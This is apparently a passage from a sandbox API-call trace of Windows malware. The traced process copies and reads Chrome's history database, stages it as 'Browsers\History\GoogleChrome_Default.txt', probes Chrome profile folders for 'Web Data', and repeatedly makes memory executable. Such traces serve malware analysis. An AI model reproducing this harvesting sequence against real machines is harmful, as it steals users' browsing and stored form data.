NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.078] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2714, cbMultiByte=65, lpWideCharStr=0x1e7de6e8, cchWideChar=2047 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp῰㲖@Q") returned 65 [0164.078] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcfeefc, cbMultiByte=65, lpWideCharStr=0x1e7de708, cchWideChar=2047 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmpa") returned 65 [0164.078] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.079] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182033787308292230589271.tmp")) returned 0x2020 [0164.080] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe18150, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0164.080] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe18150, cbMultiByte=-1, lpWideCharStr=0x1fe03ca0, cchWideChar=66 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp") returned 66 [0164.080] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0164.080] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp", nBufferLength=0x45, lpBuffer=0x1fe03d30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp", lpFilePart=0x0) returned 0x41 [0164.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0164.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp", cchWideChar=-1, lpMultiByteStr=0x1fe181a0, cbMultiByte=66, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp", lpUsedDefaultChar=0x0) returned 66 [0164.081] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b5e8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0164.081] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b5e8, cbMultiByte=-1, lpWideCharStr=0x1fe03ca0, cchWideChar=66 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp") returned 66 [0164.081] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182033787308292230589271.tmp"), fInfoLevelId=0x0, lpFileInformation=0x1e7df520 | out: lpFileInformation=0x1e7df520*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa615d700, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa615d700, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xbd76290, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x1c000)) returned 1 [0164.081] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182033787308292230589271.tmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0164.081] ReadFile (in: hFile=0xf4, lpBuffer=0x1e7df650, nNumberOfBytesToRead=0x64, lpNumberOfBytesRead=0x1e7df614, lpOverlapped=0x1e7df5d8 | out: lpBuffer=0x1e7df650*, lpNumberOfBytesRead=0x1e7df614*=0x64, lpOverlapped=0x1e7df5d8) returned 1 [0164.083] strncmp (_Str1="simple", _Str2="porter", _MaxCount=0x7) returned 1 [0164.087] LockFileEx (in: hFile=0xf4, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7de9d8 | out: lpOverlapped=0x1e7de9d8) returned 1 [0164.087] LockFileEx (in: hFile=0xf4, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7de9cc | out: lpOverlapped=0x1e7de9cc) returned 1 [0164.087] UnlockFileEx (in: hFile=0xf4, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7de9dc | out: lpOverlapped=0x1e7de9dc) returned 1 [0164.087] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b62b, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0164.087] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b62b, cbMultiByte=-1, lpWideCharStr=0x1fe2c020, cchWideChar=74 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp-journal") returned 74 [0164.087] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp-journal" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182033787308292230589271.tmp-journal"), fInfoLevelId=0x0, lpFileInformation=0x1e7de9d8 | out: lpFileInformation=0x1e7de9d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0164.087] GetLastError () returned 0x2 [0164.087] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b675, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0164.087] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b675, cbMultiByte=-1, lpWideCharStr=0x1fe03ca0, cchWideChar=70 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp-wal") returned 70 [0164.088] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp-wal" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182033787308292230589271.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x1e7de9f0 | out: lpFileInformation=0x1e7de9f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0164.088] GetLastError () returned 0x2 [0164.088] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7dea1c | out: lpFileSizeHigh=0x1e7dea1c*=0x0) returned 0x1c000 [0164.088] ReadFile (in: hFile=0xf4, lpBuffer=0x1fe66be0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1e7de9f8, lpOverlapped=0x1e7de9bc | out: lpBuffer=0x1fe66be0*, lpNumberOfBytesRead=0x1e7de9f8*=0x1000, lpOverlapped=0x1e7de9bc) returned 1 [0164.088] ReadFile (in: hFile=0xf4, lpBuffer=0x1fe65b40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1e7de710, lpOverlapped=0x1e7de6d4 | out: lpBuffer=0x1fe65b40*, lpNumberOfBytesRead=0x1e7de710*=0x1000, lpOverlapped=0x1e7de6d4) returned 1 [0164.097] UnlockFileEx (in: hFile=0xf4, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7de6d8 | out: lpOverlapped=0x1e7de6d8) returned 1 [0164.097] LockFileEx (in: hFile=0xf4, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7df3b0 | out: lpOverlapped=0x1e7df3b0) returned 1 [0164.097] LockFileEx (in: hFile=0xf4, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7df3a4 | out: lpOverlapped=0x1e7df3a4) returned 1 [0164.098] UnlockFileEx (in: hFile=0xf4, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7df3b4 | out: lpOverlapped=0x1e7df3b4) returned 1 [0164.098] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b62b, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0164.098] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b62b, cbMultiByte=-1, lpWideCharStr=0x1fe2d160, cchWideChar=74 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp-journal") returned 74 [0164.098] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp-journal" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182033787308292230589271.tmp-journal"), fInfoLevelId=0x0, lpFileInformation=0x1e7df3b0 | out: lpFileInformation=0x1e7df3b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0164.098] GetLastError () returned 0x2 [0164.098] ReadFile (in: hFile=0xf4, lpBuffer=0x1e7df434, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x1e7df41c, lpOverlapped=0x1e7df3e0 | out: lpBuffer=0x1e7df434*, lpNumberOfBytesRead=0x1e7df41c*=0x10, lpOverlapped=0x1e7df3e0) returned 1 [0164.098] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b675, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0164.098] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b675, cbMultiByte=-1, lpWideCharStr=0x1fe03ee0, cchWideChar=70 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp-wal") returned 70 [0164.098] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp-wal" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182033787308292230589271.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x1e7df3c8 | out: lpFileInformation=0x1e7df3c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0164.098] GetLastError () returned 0x2 [0164.098] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df3f4 | out: lpFileSizeHigh=0x1e7df3f4*=0x0) returned 0x1c000 [0164.099] ReadFile (in: hFile=0xf4, lpBuffer=0x1fe64aa0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1e7df3e8, lpOverlapped=0x1e7df3ac | out: lpBuffer=0x1fe64aa0*, lpNumberOfBytesRead=0x1e7df3e8*=0x1000, lpOverlapped=0x1e7df3ac) returned 1 [0164.099] UnlockFileEx (in: hFile=0xf4, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7df398 | out: lpOverlapped=0x1e7df398) returned 1 [0164.099] CloseHandle (hObject=0xf4) returned 1 [0164.114] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182033787308292230589271.tmp")) returned 1 [0164.116] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x413000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x413000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.117] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Browsers\\History\\GoogleChrome_Default.txt", cchWideChar=41, lpMultiByteStr=0x1e7de788, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Browsers\\History\\GoogleChrome_Default.txt", lpUsedDefaultChar=0x0) returned 41 [0164.117] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.117] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVWhitelist", cAlternateFileName="EVWHIT~1")) returned 1 [0164.118] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.118] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.118] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\EVWhitelist\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\evwhitelist\\web data")) returned 0xffffffff [0164.118] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileTypePolicies", cAlternateFileName="FILETY~1")) returned 1 [0164.118] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.118] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\FileTypePolicies\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\filetypepolicies\\web data")) returned 0xffffffff [0164.119] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb057460, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb057460, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb057460, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="First Run", cAlternateFileName="FIRSTR~1")) returned 1 [0164.119] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.119] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\First Run\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\first run\\web data")) returned 0xffffffff [0164.119] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xda67d40, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xda67d40, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xdcf1bb0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x10ed9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local State", cAlternateFileName="LOCALS~1")) returned 1 [0164.119] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.119] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Local State\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\local state\\web data")) returned 0xffffffff [0164.119] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginTrials", cAlternateFileName="ORIGIN~1")) returned 1 [0164.119] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.119] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\OriginTrials\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\origintrials\\web data")) returned 0xffffffff [0164.119] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PepperFlash", cAlternateFileName="PEPPER~1")) returned 1 [0164.120] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.120] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\PepperFlash\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\pepperflash\\web data")) returned 0xffffffff [0164.120] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc083690, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xc083690, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xc083690, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pnacl", cAlternateFileName="")) returned 1 [0164.120] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.120] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\pnacl\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\pnacl\\web data")) returned 0xffffffff [0164.120] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SSLErrorAssistant", cAlternateFileName="SSLERR~1")) returned 1 [0164.120] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.120] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\SSLErrorAssistant\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\sslerrorassistant\\web data")) returned 0xffffffff [0164.120] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SwReporter", cAlternateFileName="SWREPO~1")) returned 1 [0164.120] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.121] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\SwReporter\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\swreporter\\web data")) returned 0xffffffff [0164.121] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 1 [0164.121] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.125] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.126] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.126] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.127] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, 